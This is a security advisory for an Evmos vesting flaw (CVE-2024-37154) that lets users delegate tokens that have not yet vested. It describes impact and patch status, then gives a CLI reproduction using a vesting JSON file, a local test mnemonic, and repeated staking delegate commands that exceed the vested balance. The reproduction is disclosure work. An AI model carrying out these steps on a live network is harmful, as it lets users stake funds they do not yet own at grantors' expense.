Impact

What kind of vulnerability is it? Who is impacted?

At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via ClawbackVestingAccount.

Patches

Has the problem been patched? What versions should users upgrade to?

The PR linked to this advisory includes part of the fix. The remainder is in a second advisory on the Cosmos SDK fork.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.

References

Are there any links users can visit to find out more?

See the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:

1. Download vesting_setup.json with the following contents:

   { "start_time": 1679602272, "periods": [ { "coins": "100000000000000000000aevmos", "length_seconds": 10 }, { "coins": "100000000000000000000aevmos", "length_seconds": 259200000 } ] }

2. Run the following CLI commands to reproduce the issue locally:

   evmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes

   Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested

   evmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd

   evmosd keys add key1 --recover --home ~/.tmp-evmosd

   Enter the following mnemonic

   skate tell option purity cattle poverty street act bone govern way various

   evmosd q staking validators --home ~/.tmp-evmosd | grep operator_address

   Substitute the operator address from the previous query

   Note that this delegates 70% of the user’s available stake

   evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes

   Re-run the same command

   evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes

   Note that the total delegations now exceed the user’s vested balance

   evmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd

References

• GHSA-7hrh-v6wp-53vw
• https://nvd.nist.gov/vuln/detail/CVE-2024-37154